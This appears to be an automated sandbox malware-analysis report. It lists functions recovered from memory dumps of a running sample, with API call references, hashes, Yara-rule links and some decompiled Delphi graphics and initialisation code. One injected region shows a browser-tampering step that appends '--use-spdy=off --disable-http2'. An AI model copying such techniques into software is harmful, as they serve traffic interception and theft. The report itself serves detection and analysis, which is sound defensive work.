Opcode Fuzzy Hash: 488f2358ad67317a601a32a9bed53181fae54fe9f344812e896e377ad1d3c430
Instruction Fuzzy Hash: 6C71E2B1D00219EFCB11DFA4DC49EAEBBBEFF08744F008499E505A6260DB35A955DF50

Uniqueness

Uniqueness Score: -1.00%

Function 0235D880, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 146stringCOMMON

Download Yara Rule

APIs

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

memset.NTDLL ref: 0235D8AE
StrChrA.SHLWAPI(?,0000000D), ref: 0235D8F4
StrChrA.SHLWAPI(?,0000000A), ref: 0235D901
StrChrA.SHLWAPI(?,0000007C), ref: 0235D928
StrTrimA.SHLWAPI(?,02363530), ref: 0235D93D
StrChrA.SHLWAPI(?,0000003D), ref: 0235D946
StrTrimA.SHLWAPI(00000001,02363530), ref: 0235D95C
_strupr.NTDLL ref: 0235D963
StrTrimA.SHLWAPI(?,?), ref: 0235D970
memcpy.NTDLL(00000000,00000000,-00000008,-00000020,00000000,-00000020), ref: 0235D9B8
lstrlen.KERNEL32(?,00000000,?,?,?,00000000,?,00000000,?), ref: 0235D9D7

Strings

, xrefs: 0235D968
;, xrefs: 0235D916

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Trim$AllocateHeap_struprlstrlenmemcpymemset
String ID: $;
API String ID: 4019332941-73438061
Opcode ID: c407100587aa7032c6db037386a8b1dbaa1a51326cff4bcb3befc74a52d07d7a
Instruction ID: 2bb856cca0210a419aa5d1dc76e33f94819764cb2f2baa115bb94e5a735ba02b
Opcode Fuzzy Hash: c407100587aa7032c6db037386a8b1dbaa1a51326cff4bcb3befc74a52d07d7a
Instruction Fuzzy Hash: DF41E27164835A9FD721DF289848F2BBBECEF44704F04085DF8899B245EB74E505CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0235B8DA, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 134stringmemoryCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,766F1499,?,00000000,0236710C,00000000,00000000), ref: 0235B8F3
lstrlen.KERNEL32(00000000), ref: 0235B8F9
RtlAllocateHeap.NTDLL(00000000,00000001), ref: 0235B909
lstrcpy.KERNEL32(00000000,00000000), ref: 0235B923
lstrlen.KERNEL32(?), ref: 0235B93B
lstrlen.KERNEL32(?), ref: 0235B949
HeapFree.KERNEL32(00000000,?,00000000), ref: 0235B997
lstrlen.KERNEL32(?,00000000,?,?,?,?,?,00000000,?,?,?,?), ref: 0235B9BB
lstrlen.KERNEL32(?), ref: 0235B9E9
HeapFree.KERNEL32(00000000,?,?), ref: 0235BA14
HeapFree.KERNEL32(00000000,?,00000000), ref: 0235BA2B
HeapFree.KERNEL32(00000000,?,?), ref: 0235BA38

Strings

http, xrefs: 0235B9C2, 0235B9D2

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrlen$Heap$Free$Allocatelstrcpy
String ID: http
API String ID: 904523553-2541227442
Opcode ID: a5ea0d846ccf60058687e31f8e251f9421a87bc2dd54b1ec8c55a4c241a86216
Instruction ID: 460d9b519dd7285ddae0dde7ba955f95ffc03b631728429f35a3b8eb8ccc398c
Opcode Fuzzy Hash: a5ea0d846ccf60058687e31f8e251f9421a87bc2dd54b1ec8c55a4c241a86216
Instruction Fuzzy Hash: E34128B1A00229BFDF229FA4CC84EAEBBBEFF08344F108465F91596155D775A960CF60

Uniqueness

Uniqueness Score: -1.00%

Function 003A3194, Relevance: 21.2, APIs: 14, Instructions: 217
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E003A3194(intOrPtr* __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				struct HPALETTE__* _v12;
				char _v13;
				struct tagPOINT _v21;
				struct HDC__* _v28;
				void* _v32;
				struct HPALETTE__* _t78;
				signed int _t84;
				signed int _t85;
				signed int _t86;
				char _t87;
				void* _t94;
				void* _t140;
				intOrPtr* _t170;
				intOrPtr _t178;
				intOrPtr _t182;
				intOrPtr _t184;
				intOrPtr _t186;
				int* _t190;
				intOrPtr _t192;
				void* _t194;
				void* _t195;
				intOrPtr _t196;

				_t171 = __ecx;
				_t194 = _t195;
				_t196 = _t195 + 0xffffffe4;
				_t190 = __ecx;
				_v8 = __edx;
				_t170 = __eax;
				_t192 =  *((intOrPtr*)(__eax + 0x28));
				_t178 =  *0x3a33e0; // 0xf
				E003A0878(_v8, __ecx, _t178);
				E003A3724(_t170);
				_v12 = 0;
				_v13 = 0;
				_t78 =  *(_t192 + 0x10);
				if(_t78 != 0) {
					_v12 = SelectPalette( *(_v8 + 4), _t78, 0xffffffff);
					RealizePalette( *(_v8 + 4));
					_v13 = 1;
				}
				_push(GetDeviceCaps( *(_v8 + 4), 0xc));
				_t84 = GetDeviceCaps( *(_v8 + 4), 0xe);
				_pop(_t85);
				_t86 = _t85 * _t84;
				if(_t86 > 8) {
					L4:
					_t87 = 0;
				} else {
					_t171 =  *(_t192 + 0x28) & 0x0000ffff;
					if(_t86 < ( *(_t192 + 0x2a) & 0x0000ffff) * ( *(_t192 + 0x28) & 0x0000ffff)) {
						_t87 = 1;
					} else {
						goto L4;
					}
				}
				if(_t87 == 0) {
					if(E003A3520(_t170) == 0) {
						SetStretchBltMode(E003A07A4(_v8), 3);
					}
				} else {
					GetBrushOrgEx( *(_v8 + 4),  &_v21);
					SetStretchBltMode( *(_v8 + 4), 4);
					SetBrushOrgEx( *(_v8 + 4), _v21, _v21.y,  &_v21);
				}
				_push(_t194);
				_push(0x3a33d0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t196;
				if( *((intOrPtr*)( *_t170 + 0x28))() != 0) {
					E003A36C4(_t170, _t171);
				}
				_t94 = E003A3464(_t170);
				_t182 =  *0x3a33e0; // 0xf
				E003A0878(_t94, _t171, _t182);
				if( *((intOrPtr*)( *_t170 + 0x28))() == 0) {
					StretchBlt( *(_v8 + 4),  *_t190, _t190[1], _t190[2] -  *_t190, _t190[3] - _t190[1],  *(E003A3464(_t170) + 4), 0, 0,  *(_t192 + 0x1c),  *(_t192 + 0x20),  *(_v8 + 0x20));
					_pop(_t184);
					 *[fs:eax] = _t184;
					_push(E003A33D7);
					if(_v13 != 0) {
						return SelectPalette( *(_v8 + 4), _v12, 0xffffffff);
					}
					return 0;
				} else {
					_v32 = 0;
					_v28 = 0;
					_push(_t194);
					_push(0x3a3365);
					_push( *[fs:eax]);
					 *[fs:eax] = _t196;
					_v28 = E003A0B90(CreateCompatibleDC(0));
					_v32 = SelectObject(_v28,  *(_t192 + 0xc));
					E003A0D34( *(_v8 + 4), _t170, _t190[1],  *_t190, _t190, _t192, 0, 0, _v28,  *(_t192 + 0x20),  *(_t192 + 0x1c), 0, 0,  *(E003A3464(_t170) + 4), _t190[3] - _t190[1], _t190[2] -  *_t190);
					_t140 = 0;
					_pop(_t186);
					 *[fs:eax] = _t186;
					_push(0x3a33aa);
					if(_v32 != 0) {
						_t140 = SelectObject(_v28, _v32);
					}
					if(_v28 != 0) {
						return DeleteDC(_v28);
					}
					return _t140;
				}
			}

0x003a3194
0x003a3195
0x003a3197
0x003a319d
0x003a319f
0x003a31a2
0x003a31a4
0x003a31a7
0x003a31b0
0x003a31b7
0x003a31be
0x003a31c1
0x003a31c5
0x003a31ca
0x003a31db
0x003a31e5
0x003a31ea
0x003a31ea
0x003a31fc
0x003a3206
0x003a320d
0x003a320e
0x003a3213
0x003a3224
0x003a3224
0x003a3215
0x003a3219
0x003a3222
0x003a3228
0x00000000
0x00000000
0x00000000
0x003a3222
0x003a322c
0x003a326f
0x003a327c
0x003a327c
0x003a322e
0x003a3239
0x003a3247
0x003a325f
0x003a325f
0x003a3283
0x003a3284
0x003a3289
0x003a328c
0x003a3298
0x003a329c
0x003a329c
0x003a32a3
0x003a32a8
0x003a32ae
0x003a32bc
0x003a33a5
0x003a33ac
0x003a33af
0x003a33b2
0x003a33bb
0x00000000
0x003a33ca
0x003a33cf
0x003a32c2
0x003a32c4
0x003a32c9
0x003a32ce
0x003a32cf
0x003a32d4
0x003a32d7
0x003a32e6
0x003a32f6
0x003a3330
0x003a3335
0x003a3337
0x003a333a
0x003a333d
0x003a3346
0x003a3350
0x003a3350
0x003a3359
0x00000000
0x003a335f
0x003a3364
0x003a3364

APIs

Part of subcall function 003A3724: GetDC.USER32(00000000), ref: 003A377A
Part of subcall function 003A3724: GetDeviceCaps.GDI32(00000000,0000000C), ref: 003A378F
Part of subcall function 003A3724: GetDeviceCaps.GDI32(00000000,0000000E), ref: 003A3799
Part of subcall function 003A3724: CreateHalftonePalette.GDI32(00000000), ref: 003A37BD
Part of subcall function 003A3724: ReleaseDC.USER32(00000000,00000000), ref: 003A37C8

SelectPalette.GDI32(?,?,000000FF), ref: 003A31D6
RealizePalette.GDI32(?), ref: 003A31E5
GetDeviceCaps.GDI32(?,0000000C), ref: 003A31F7
GetDeviceCaps.GDI32(?,0000000E), ref: 003A3206
GetBrushOrgEx.GDI32(?,?), ref: 003A3239
SetStretchBltMode.GDI32(?,00000004), ref: 003A3247
SetBrushOrgEx.GDI32(?,?,?,?), ref: 003A325F
SetStretchBltMode.GDI32(00000000,00000003), ref: 003A327C
CreateCompatibleDC.GDI32(00000000), ref: 003A32DC
SelectObject.GDI32(?,?), ref: 003A32F1
SelectObject.GDI32(?,00000000), ref: 003A3350
DeleteDC.GDI32(00000000), ref: 003A335F

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CapsDevice$PaletteSelect$BrushCreateModeObjectStretch$CompatibleDeleteHalftoneRealizeRelease
String ID:
API String ID: 2414602066-0
Opcode ID: a56f2952799ceaaebbf45221582504617706aca400a443d2fadaa6fc52385c33
Instruction ID: 17f7fa70c65b52cfff2ff13e8700709867ba06ddc44ef47024e5e5f35dd7062e
Opcode Fuzzy Hash: a56f2952799ceaaebbf45221582504617706aca400a443d2fadaa6fc52385c33
Instruction Fuzzy Hash: FA71F675A04205AFDB52EFACC986F6EB7E8EF0A300F118594F508DB292D635EE04CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0234884D, Relevance: 21.2, APIs: 14, Instructions: 201memorystringthreadCOMMON

Download Yara Rule

APIs

StrChrA.SHLWAPI(?,0000002C), ref: 0234889C
StrTrimA.SHLWAPI(00000001,20000920), ref: 023488B5
StrChrA.SHLWAPI(?,0000002C), ref: 023488C0
StrTrimA.SHLWAPI(00000001,20000920), ref: 023488D9
lstrlen.KERNEL32(00000000,00000001,?,?,00000000,?,00000000,02351157,?,00000000,00000000,00000000,00000057,?,?,00000000), ref: 02348977
RtlAllocateHeap.NTDLL(00000000,?,00000001), ref: 02348999
lstrcpy.KERNEL32(00000020,?), ref: 023489B8
lstrlen.KERNEL32(?,?,00000000,02351157,?,00000000,00000000,00000000,00000057,?,?,00000000,?,00000001,?,00000000), ref: 023489C2
memcpy.NTDLL(?,?,?,?,00000000,02351157,?,00000000,00000000,00000000,00000057,?,?,00000000,?,00000001), ref: 02348A03
memcpy.NTDLL(?,?,?,?,?,00000000,02351157,?,00000000,00000000,00000000,00000057,?,?,00000000,?), ref: 02348A16
SwitchToThread.KERNEL32(00000057,00000000,?,00000000,?,?,?,?,?,00000000,02351157,?,00000000,00000000,00000000,00000057), ref: 02348A3A
HeapFree.KERNEL32(00000000,00000000), ref: 02348A59
HeapFree.KERNEL32(00000000,?,00000001), ref: 02348A7F
HeapFree.KERNEL32(00000000,00000001,00000001), ref: 02348A9B

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$Free$Trimlstrlenmemcpy$AllocateSwitchThreadlstrcpy
String ID:
API String ID: 3323474148-0
Opcode ID: 5caaf4e72911b266bc4048139481e7feefd2b872cec4c0a62db6b7180ec10ec9
Instruction ID: 0b6d836465a3833e93a7b138cdfb6345e6408a8da685a7c8a7667580912681ef
Opcode Fuzzy Hash: 5caaf4e72911b266bc4048139481e7feefd2b872cec4c0a62db6b7180ec10ec9
Instruction Fuzzy Hash: 18716A71908301AFD721DF64CC49B5ABBEDFB48708F04896EF999A2250DB70E554CB92

Uniqueness

Uniqueness Score: -1.00%

Function 003A0BA0, Relevance: 21.1, APIs: 14, Instructions: 131
windowCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E003A0BA0(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				void* _v8;
				int _v12;
				int _v16;
				struct HBITMAP__* _v20;
				struct HDC__* _v24;
				struct HDC__* _v28;
				struct HDC__* _v32;
				int _v48;
				int _v52;
				void _v56;
				void* _t78;
				intOrPtr _t85;
				intOrPtr _t86;
				void* _t91;
				void* _t93;
				void* _t94;
				intOrPtr _t95;

				_t93 = _t94;
				_t95 = _t94 + 0xffffffcc;
				asm("movsd");
				asm("movsd");
				_t77 = __ecx;
				_v8 = __eax;
				_v28 = CreateCompatibleDC(0);
				_v32 = CreateCompatibleDC(0);
				_push(_t93);
				_push(0x3a0cee);
				_push( *[fs:eax]);
				 *[fs:eax] = _t95;
				GetObjectA(_v8, 0x18,  &_v56);
				if(__ecx == 0) {
					_v24 = GetDC(0);
					if(_v24 == 0) {
						E003A0AE8(_t77);
					}
					_push(_t93);
					_push(0x3a0c5d);
					_push( *[fs:eax]);
					 *[fs:eax] = _t95;
					_v20 = CreateCompatibleBitmap(_v24, _v16, _v12);
					if(_v20 == 0) {
						E003A0AE8(_t77);
					}
					_pop(_t85);
					 *[fs:eax] = _t85;
					_push(0x3a0c64);
					return ReleaseDC(0, _v24);
				} else {
					_v20 = CreateBitmap(_v16, _v12, 1, 1, 0);
					if(_v20 != 0) {
						_t78 = SelectObject(_v28, _v8);
						_t91 = SelectObject(_v32, _v20);
						StretchBlt(_v32, 0, 0, _v16, _v12, _v28, 0, 0, _v52, _v48, 0xcc0020);
						if(_t78 != 0) {
							SelectObject(_v28, _t78);
						}
						if(_t91 != 0) {
							SelectObject(_v32, _t91);
						}
					}
					_pop(_t86);
					 *[fs:eax] = _t86;
					_push(E003A0CF5);
					DeleteDC(_v28);
					return DeleteDC(_v32);
				}
			}

0x003a0ba1
0x003a0ba3
0x003a0bae
0x003a0baf
0x003a0bb0
0x003a0bb2
0x003a0bbc
0x003a0bc6
0x003a0bcb
0x003a0bcc
0x003a0bd1
0x003a0bd4
0x003a0be1
0x003a0be8
0x003a0c09
0x003a0c10
0x003a0c12
0x003a0c12
0x003a0c19
0x003a0c1a
0x003a0c1f
0x003a0c22
0x003a0c36
0x003a0c3d
0x003a0c3f
0x003a0c3f
0x003a0c46
0x003a0c49
0x003a0c4c
0x003a0c5c
0x003a0bea
0x003a0bfd
0x003a0c68
0x003a0c77
0x003a0c86
0x003a0cad
0x003a0cb4
0x003a0cbb
0x003a0cbb
0x003a0cc2
0x003a0cc9
0x003a0cc9
0x003a0cc2
0x003a0cd0
0x003a0cd3
0x003a0cd6
0x003a0cdf
0x003a0ced
0x003a0ced

APIs

CreateCompatibleDC.GDI32(00000000), ref: 003A0BB7
CreateCompatibleDC.GDI32(00000000), ref: 003A0BC1
GetObjectA.GDI32(?,00000018,?), ref: 003A0BE1
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 003A0BF8
GetDC.USER32(00000000), ref: 003A0C04
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 003A0C31
ReleaseDC.USER32(00000000,00000000), ref: 003A0C57
SelectObject.GDI32(?,?), ref: 003A0C72
SelectObject.GDI32(?,00000000), ref: 003A0C81
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,?,?,00CC0020), ref: 003A0CAD
SelectObject.GDI32(?,00000000), ref: 003A0CBB
SelectObject.GDI32(?,00000000), ref: 003A0CC9
DeleteDC.GDI32(?), ref: 003A0CDF
DeleteDC.GDI32(?), ref: 003A0CE8

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Object$CreateSelect$Compatible$BitmapDelete$ReleaseStretch
String ID:
API String ID: 644427674-0
Opcode ID: 16f07c47c1f9ef531ef03e79a3426b304abbe199d9fee62ad64e19e097a0eada
Instruction ID: b5337159a65f5558b284da95766c3b88e64cf9ac1a32548073825183917779ce
Opcode Fuzzy Hash: 16f07c47c1f9ef531ef03e79a3426b304abbe199d9fee62ad64e19e097a0eada
Instruction Fuzzy Hash: 9C411A75E00319AFDB16EBE8CD46FAFB7BCEB0A710F110554F604EB281D6B5A9008B60

Uniqueness

Uniqueness Score: -1.00%

Function 02341B17, Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 128timeCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 02341B59
OpenWaitableTimerA.KERNEL32(00100000,00000000,?), ref: 02341B6C
CloseHandle.KERNEL32(00000000), ref: 02341C84

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

memset.NTDLL ref: 02341B8F
memcpy.NTDLL(?,000493E0,00000010,?,?,00000040), ref: 02341C0E
RtlEnterCriticalSection.NTDLL(?), ref: 02341C23
RtlLeaveCriticalSection.NTDLL(?), ref: 02341C3B
GetLastError.KERNEL32(023506F2,?,?,?,?,?,?,?,00000040), ref: 02341C53
RtlEnterCriticalSection.NTDLL(?), ref: 02341C5F
RtlLeaveCriticalSection.NTDLL(?), ref: 02341C6E

Strings

W, xrefs: 02341C8A
0x%08X, xrefs: 02341B2B

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$AllocateCloseErrorHandleHeapLastOpenTimerWaitablememcpymemsetwsprintf
String ID: 0x%08X$W
API String ID: 1559661116-2600449260
Opcode ID: 54fe9774f00b067ad5d79f71c4cccaa6d5013a2c6cb566addd385e7d245e9c00
Instruction ID: 9d1e348d629f74c284154f0619d628abff24972330332c359607095888df832b
Opcode Fuzzy Hash: 54fe9774f00b067ad5d79f71c4cccaa6d5013a2c6cb566addd385e7d245e9c00
Instruction Fuzzy Hash: 6E417FB1900609AFDB10DFA4CD89A9EBBFCFF08754F008569E599D7240D770AA54DF90

Uniqueness

Uniqueness Score: -1.00%

Function 02344099, Relevance: 21.1, APIs: 14, Instructions: 126memorysynchronizationCOMMON

Download Yara Rule

APIs

SleepEx.KERNEL32(00000064,00000001,00000000,?,?,?,0235D0D4), ref: 023440C2
RtlDeleteCriticalSection.NTDLL(02367360), ref: 023440F5
RtlDeleteCriticalSection.NTDLL(02367380), ref: 023440FC
ReleaseMutex.KERNEL32(000001CC,00000000,?,?,?,0235D0D4), ref: 02344125
CloseHandle.KERNEL32 ref: 02344131
ResetEvent.KERNEL32(00000000,00000000,?,?,?,0235D0D4), ref: 0234413D
CloseHandle.KERNEL32 ref: 02344149
SleepEx.KERNEL32(00000064,00000001,00000000,?,?,?,0235D0D4), ref: 0234414F
SleepEx.KERNEL32(00000064,00000001,?,?,0235D0D4), ref: 02344163
HeapFree.KERNEL32(00000000,00000000), ref: 02344187
RtlRemoveVectoredExceptionHandler.NTDLL(0027A060), ref: 023441BD
SleepEx.KERNEL32(00000064,00000001,?,?,0235D0D4), ref: 023441D9
CloseHandle.KERNEL32(0490F548), ref: 02344202
LocalFree.KERNEL32(?,?,0235D0D4), ref: 02344212

Part of subcall function 0235FAAF: GetVersion.KERNEL32(?,?,766F1215,?,023440B1,00000000,?,?,?,0235D0D4), ref: 0235FAD3
Part of subcall function 0235FAAF: GetModuleHandleA.KERNEL32(NTDLL.DLL,LdrUnregisterDllNotification,?,766F1215,?,023440B1,00000000,?,?,?,0235D0D4), ref: 0235FAE7
Part of subcall function 0235FAAF: GetProcAddress.KERNEL32(00000000,?,766F1215,?,023440B1,00000000,?,?,?,0235D0D4), ref: 0235FAEE

Part of subcall function 0234706D: RtlEnterCriticalSection.NTDLL(02367380), ref: 02347077
Part of subcall function 0234706D: RtlLeaveCriticalSection.NTDLL(02367380), ref: 023470B3

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CriticalHandleSectionSleep$Close$DeleteFree$AddressEnterEventExceptionHandlerHeapLeaveLocalModuleMutexProcReleaseRemoveResetVectoredVersion
String ID:
API String ID: 1765366784-0
Opcode ID: 39aeaabedd5d376979f5e8851a8beb15284db97412eff31719c7cc1092bb45bf
Instruction ID: 5b9f71d93e077c6e74b3655a130e598f0ec2b82d55caf752da8dc8c8701f228f
Opcode Fuzzy Hash: 39aeaabedd5d376979f5e8851a8beb15284db97412eff31719c7cc1092bb45bf
Instruction Fuzzy Hash: 1B4160B1E80310ABD720AF65EC49B16B7EDEB10B08F5589A5EA04E7144CF71F8628E60

Uniqueness

Uniqueness Score: -1.00%

Function 02348681, Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 115memorystringCOMMON

Download Yara Rule

APIs

PathFindFileNameW.SHLWAPI(?), ref: 0234869B
PathFindFileNameW.SHLWAPI(?), ref: 023486B1
lstrlenW.KERNEL32(00000000), ref: 023486F4
RtlAllocateHeap.NTDLL(00000000,0236188B), ref: 0234870A
memcpy.NTDLL(00000000,00000000,02361889), ref: 0234871D
_wcsupr.NTDLL ref: 02348728
lstrlenW.KERNEL32(?), ref: 0234875E
RtlAllocateHeap.NTDLL(00000000,?), ref: 02348773
lstrcpyW.KERNEL32(00000000,?), ref: 02348789
lstrcatW.KERNEL32(00000000, --use-spdy=off --disable-http2), ref: 023487A7
HeapFree.KERNEL32(00000000,00000000), ref: 023487B6

Strings

--use-spdy=off --disable-http2, xrefs: 023487A1

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateFileFindNamePathlstrlen$Free_wcsuprlstrcatlstrcpymemcpy
String ID: --use-spdy=off --disable-http2
API String ID: 3868788785-3215622688
Opcode ID: 99f6f2a728c49896032e863814c9857d7558621856345b4e40ed1162229f16c6
Instruction ID: c68f5e1e7c947443883f576ecec231cf6c6c2bb4636a84e822936d3c89d09968
Opcode Fuzzy Hash: 99f6f2a728c49896032e863814c9857d7558621856345b4e40ed1162229f16c6
Instruction Fuzzy Hash: 0831F472E40214ABD7205F68DC8CE2F7FEDEB48724F148999FA12D2181DF75B8548A50

Uniqueness

Uniqueness Score: -1.00%

Function 003D3C2C, Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 103
registrythreadclipboardCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E003D3C2C(void* __ebx, void* __edi, void* __eflags) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				long _v28;
				char _v32;
				char _v36;
				intOrPtr _t25;
				char _t29;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t47;
				intOrPtr _t49;
				intOrPtr* _t50;
				intOrPtr _t53;
				struct HINSTANCE__* _t55;
				struct HINSTANCE__* _t62;
				intOrPtr* _t77;
				intOrPtr* _t79;
				intOrPtr _t82;
				void* _t86;

				_v20 = 0;
				_v8 = 0;
				_push(_t86);
				_push(0x3d3da4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t86 + 0xffffffe0;
				_v16 = GetCurrentProcessId();
				_v12 = 0;
				E00388D04("Delphi%.8X", 0,  &_v16,  &_v8);
				E00383F10(0x3dbb68, _v8);
				_t25 =  *0x3dbb68; // 0x21413d0
				 *0x3dbb64 = GlobalAddAtomA(E0038437C(_t25));
				_t29 =  *0x3db668; // 0x380000
				_v36 = _t29;
				_v32 = 0;
				_v28 = GetCurrentThreadId();
				_v24 = 0;
				E00388D04("ControlOfs%.8X%.8X", 1,  &_v36,  &_v20);
				E00383F10(0x3dbb6c, _v20);
				_t35 =  *0x3dbb6c; // 0x21413ec
				 *0x3dbb66 = GlobalAddAtomA(E0038437C(_t35));
				_t38 =  *0x3dbb6c; // 0x21413ec
				 *0x3dbb70 = RegisterClipboardFormatA(E0038437C(_t38));
				 *0x3dbba8 = E00397148(1);
				E003D3830();
				 *0x3dbb58 = E003D3658(1, 1);
				_t47 = E003B7A64(1, __edi);
				_t77 =  *0x3da208; // 0x3dbb20
				 *_t77 = _t47;
				_t49 = E003B8B48(0, 1);
				_t79 =  *0x3da0b4; // 0x3dbb1c
				 *_t79 = _t49;
				_t50 =  *0x3da0b4; // 0x3dbb1c
				E003BA5AC( *_t50, 1);
				_t53 =  *0x3c33c8; // 0x3c33cc
				E003968FC(_t53, 0x3c57d0, 0x3c57e0);
				_t55 = GetModuleHandleA("USER32");
				_t62 = _t55;
				if(_t62 != 0) {
					_push("AnimateWindow");
					_push(_t62);
					L00386224();
					 *0x3d9c8c = _t55;
				}
				_pop(_t82);
				 *[fs:eax] = _t82;
				_push(0x3d3dab);
				E00383EBC( &_v20);
				return E00383EBC( &_v8);
			}

0x003d3c35
0x003d3c38
0x003d3c3d
0x003d3c3e
0x003d3c43
0x003d3c46
0x003d3c52
0x003d3c55
0x003d3c63
0x003d3c70
0x003d3c75
0x003d3c85
0x003d3c8f
0x003d3c94
0x003d3c97
0x003d3ca0
0x003d3ca3
0x003d3cb4
0x003d3cc1
0x003d3cc6
0x003d3cd6
0x003d3cdc
0x003d3cec
0x003d3cfd
0x003d3d02
0x003d3d13
0x003d3d21
0x003d3d26
0x003d3d2c
0x003d3d37
0x003d3d3c
0x003d3d42
0x003d3d44
0x003d3d4d
0x003d3d5c
0x003d3d61
0x003d3d6b
0x003d3d70
0x003d3d74
0x003d3d76
0x003d3d7b
0x003d3d7c
0x003d3d81
0x003d3d81
0x003d3d88
0x003d3d8b
0x003d3d8e
0x003d3d96
0x003d3da3

APIs

GetCurrentProcessId.KERNEL32(?,00000000,003D3DA4), ref: 003D3C4D
GlobalAddAtomA.KERNEL32(00000000), ref: 003D3C80
GetCurrentThreadId.KERNEL32(?,?,00000000,003D3DA4), ref: 003D3C9B
GlobalAddAtomA.KERNEL32(00000000), ref: 003D3CD1
RegisterClipboardFormatA.USER32(00000000), ref: 003D3CE7

Part of subcall function 00397148: RtlInitializeCriticalSection.KERNEL32(00394C84,?,?,0039DC11,00000000,0039DC35), ref: 00397167

Part of subcall function 003D3830: SetErrorMode.KERNEL32(00008000), ref: 003D3849
Part of subcall function 003D3830: GetModuleHandleA.KERNEL32(USER32,00000000,003D3996,?,00008000), ref: 003D386D
Part of subcall function 003D3830: 70D9FFF6.KERNEL32(00000000,WINNLSEnableIME,USER32,00000000,003D3996,?,00008000), ref: 003D387A
Part of subcall function 003D3830: LoadLibraryA.KERNEL32(imm32.dll), ref: 003D3896
Part of subcall function 003D3830: 70D9FFF6.KERNEL32(00000000,ImmGetContext,imm32.dll,00000000,003D3996,?,00008000), ref: 003D38B8
Part of subcall function 003D3830: 70D9FFF6.KERNEL32(00000000,ImmReleaseContext,00000000,ImmGetContext,imm32.dll,00000000,003D3996,?,00008000), ref: 003D38CD
Part of subcall function 003D3830: 70D9FFF6.KERNEL32(00000000,ImmGetConversionStatus,00000000,ImmReleaseContext,00000000,ImmGetContext,imm32.dll,00000000,003D3996,?,00008000), ref: 003D38E2
Part of subcall function 003D3830: 70D9FFF6.KERNEL32(00000000,ImmSetConversionStatus,00000000,ImmGetConversionStatus,00000000,ImmReleaseContext,00000000,ImmGetContext,imm32.dll,00000000,003D3996,?,00008000), ref: 003D38F7
Part of subcall function 003D3830: 70D9FFF6.KERNEL32(00000000,ImmSetOpenStatus,00000000,ImmSetConversionStatus,00000000,ImmGetConversionStatus,00000000,ImmReleaseContext,00000000,ImmGetContext,imm32.dll,00000000,003D3996,?,00008000), ref: 003D390C
Part of subcall function 003D3830: 70D9FFF6.KERNEL32(00000000,ImmSetCompositionWindow,00000000,ImmSetOpenStatus,00000000,ImmSetConversionStatus,00000000,ImmGetConversionStatus,00000000,ImmReleaseContext,00000000,ImmGetContext,imm32.dll,00000000,003D3996), ref: 003D3921
Part of subcall function 003D3830: 70D9FFF6.KERNEL32(00000000,ImmSetCompositionFontA,00000000,ImmSetCompositionWindow,00000000,ImmSetOpenStatus,00000000,ImmSetConversionStatus,00000000,ImmGetConversionStatus,00000000,ImmReleaseContext,00000000,ImmGetContext,imm32.dll,00000000), ref: 003D3936
Part of subcall function 003D3830: 70D9FFF6.KERNEL32(00000000,ImmGetCompositionStringA,00000000,ImmSetCompositionFontA,00000000,ImmSetCompositionWindow,00000000,ImmSetOpenStatus,00000000,ImmSetConversionStatus,00000000,ImmGetConversionStatus,00000000,ImmReleaseContext,00000000,ImmGetContext), ref: 003D394B
